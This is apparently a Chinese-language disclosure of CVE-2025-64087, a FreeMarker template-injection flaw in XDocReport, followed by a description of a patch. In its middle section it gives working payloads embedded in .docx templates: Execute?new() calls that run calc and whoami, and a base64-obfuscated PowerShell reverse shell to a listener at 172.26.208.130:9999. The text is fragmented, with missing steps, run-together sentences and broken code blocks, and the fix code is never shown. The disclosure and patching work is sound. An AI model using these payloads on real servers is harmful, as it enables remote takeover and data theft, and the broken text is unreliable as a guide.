
CVE-2025-64087 (SSTI)
漏洞概述
服务器端模板注入 (SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到由内容管理系统 (CMS) 和 Web 框架使用的模板中,以实现远程攻击、获取敏感信息或执行系统入侵活动。
SSTI 是注入漏洞(如 SQL 注入、XSS 等)的一种变体,攻击者利用模板系统远程部署恶意代码。当 SSTI 攻击成功时,攻击者可以在服务器端执行自己的代码,从而实施远程攻击,如收集敏感信息、执行系统入侵活动以及访问未授权资源。
SSTI 漏洞通常是由于使用了不安全的模板系统,或者未能在将输入参数插入模板前对其进行验证和处理。如果 SSTI 攻击成功,后果可能非常严重,给受攻击组织造成重大损失。
业务影响
SSTI 漏洞可能引发多种严重后果,包括:
执行恶意代码:攻击者可利用此漏洞在服务器上执行恶意代码,从而窃取数据、执行非法操作,甚至完全控制服务器。
泄露敏感信息:SSTI 允许攻击者读取、修改或删除服务器上的文件。如果这些文件包含敏感信息(如账户和密码),攻击者可以轻易获取。
威胁或欺骗用户:攻击者可通过 SSTI 更改网站内容或添加伪造的自定义按钮来实施威胁或欺骗攻击。如果用户点击这些按钮,攻击者可能窃取用户信息或在用户计算机上安装恶意软件。
在 OpenSAGRES XDocReport 使用 FreeMarker 引擎处理 DOCX 模板时发现了一个服务器端模板注入 (SSTI) 漏洞。在某些配置下,恶意构造的模板可导致远程代码执行 (RCE)。
该人事管理网站允许用户上传 .docx 文档文件到系统。在处理过程中,应用程序使用 FreeMarker 模板引擎(位于 FreemarkerTemplateEngine.java 文件)来渲染内容 ${"freemarker.template.utility.Execute"?new()("whoami")},但没有对输入内容进行控制或过滤。
该漏洞允许攻击者将恶意表达式插入到 .docx 文件(模板)中,导致服务器端远程代码执行 (RCE),并可能被利用来窃取信息或控制系统。
fr.opensagres.xdocreport.template.freemarker — XDocReport(版本 1.0.0 至 2.1.0)。
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 中,没有对输入的 xdoc 文件内容进行检查。模板内容被直接加载并传递给 process(context, writer, template) 由 FreeMarker 引擎处理,没有任何沙箱机制或对指令/表达式的限制。结果,攻击者可以提供包含恶意 FreeMarker 表达式/命令的模板,从而导致远程代码执行 (RCE)。.docx 文件,其内部包含以下 payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. 发现可以成功执行并打开 calc 应用

3. 类似地,使用 payload 获取系统上正在运行的用户信息:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx 文件返回了系统数据


6. 将影响提升至RCE
- 监听机器是wsl,IP地址为 `172.26.208.130`

- 使用以下Payload进行利用:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx 文件交给 xdocreport 处理xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 中添加以下内容我的修复方法仍然允许正常渲染对象和属性,如 ${cuong.name},仅阻止危险的 built-in 函数
${'freemarker.template.utility.Execute'?new()('calc')} - 被阻止 由 ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - 被阻止 由 setAPIBuiltinEnabled(false)?new() 和 ?api 的 payload 均被阻止Path: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
变更:
✅ 添加导入: java.util.regex.Pattern
✅ 添加方法 validateTemplateSecurity(Reader reader) — 验证危险模式
✅ 更新 processNoCache() — 在创建模板之前添加验证
✅ 更新 process(String templateName, …) — 为此方法添加验证
Path: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
变更:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder 等